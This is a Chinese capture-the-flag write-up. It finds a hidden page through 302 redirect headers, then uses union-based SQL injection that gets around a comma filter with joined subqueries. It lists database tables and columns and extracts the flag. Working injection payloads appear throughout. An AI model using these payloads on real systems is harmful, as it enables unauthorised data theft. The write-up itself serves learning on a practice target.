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本题目点进去后发现页面一直提示loading…，F12查看源码，发现了坑爹提示

这是提示了注入点呀？？！

测试了各种注入，没啥收获。sqlmap跑一波，也啥都没有。



扫一波目录，看到了index.php和robots.txt

但是当我们输入index.php的时候，就会自己跳转到另一个页面

年少的我懵懂无知，跟本不知道发生了什么，也不知道在意这里。 于是只能查看大佬们的WP了。
大佬提示：这个login是假的，真的要在HTTP的302跳转数据包里找。好家伙，我TM直接好家伙！！！真是张姿势了。。。。
打开burpsuite抓包，查看httphistory

果然，输入index.php后302重定向到了另一个界面，然后又重定向，这两个看似一样，其实上面有一位是l而下面是1。

/b68a89d1c4a097a9d863lb3ac45e8979.php 
/b68a89d1c4a097a9d8631b3ac45e8979.php



这个是最终页面的请求头headers，然后查看中间跳转页面的headers：

发现了题目真正的页面。然后开始注入。

sqlmap跑出来的是布尔盲注和时间盲注。



但是大佬的payload是union注入，感觉更简单易懂点。

这里使用order by 发现逗号后面的东西全没有了，应该是过滤了逗号。
上面URL中是对单引号和空格进行了URL编码，所以显示的是%27和%20。
这里有个需要注意的地方，用Maxhacker进行注入，那个插件好像不会自己进行URL编码，导致我一度崩溃，大家遇到这样的问
题还要多多留意。

看了大佬的WP，GET了不用逗号的是SQL注入姿势。

/l0gin.php?id=1' union select * from (select database()) a join (select version() ) b %23



这里大家一定一定要注意，看看URL最后的#注释符到底是#还是%23，如果是#就会出现下面这种状况

浏览器没有对字符进行URL编码，就得手动改过来。
还有个1问题，我们都查看了版本和数据库，为什么显示没变？因为id=1，就显示id=1的内容，我们把id改为一个不存在的值，
就能把查询的信息显示出来了。

此时：

/l0gin.php?id=-1' union select * from (select database()) a join (select version() ) b %23

看到了当前数据库名称和版本号，接着查表：

/l0gin.php?id=-1' union select * from (select group_concat(table_name) from information_schema.tables where tabl
e_schema=database()) a join (select version() ) b %23

看到了sqli这个数据库里面有个users表，继续看看表中有没有flag相关的字段。

/l0gin.php?id=-1' union select * from (select group_concat(table_name) from information_schema.tables where tabl
e_schema=database()) a join (select group_concat(column_name) from information_schema.columns where table_name='
users') b %23

看到了flag的字段。
flag_9c861b688330



/l0gin.php?id=-1' union select * from (select flag_9c861b688330 from users) a join (select group_concat(column_n
ame) from information_schema.columns where table_name='users') b %23

于是就拿到了flag。这道题学到了不少知识。

1. http重定向与sql注入的关联

2. sql注入不用单引号的姿势

3. SQL语句一定要写对，不然很难得出想要的结果

4. 常用测试sql注入过滤字符，可以用爆破方式跑字典
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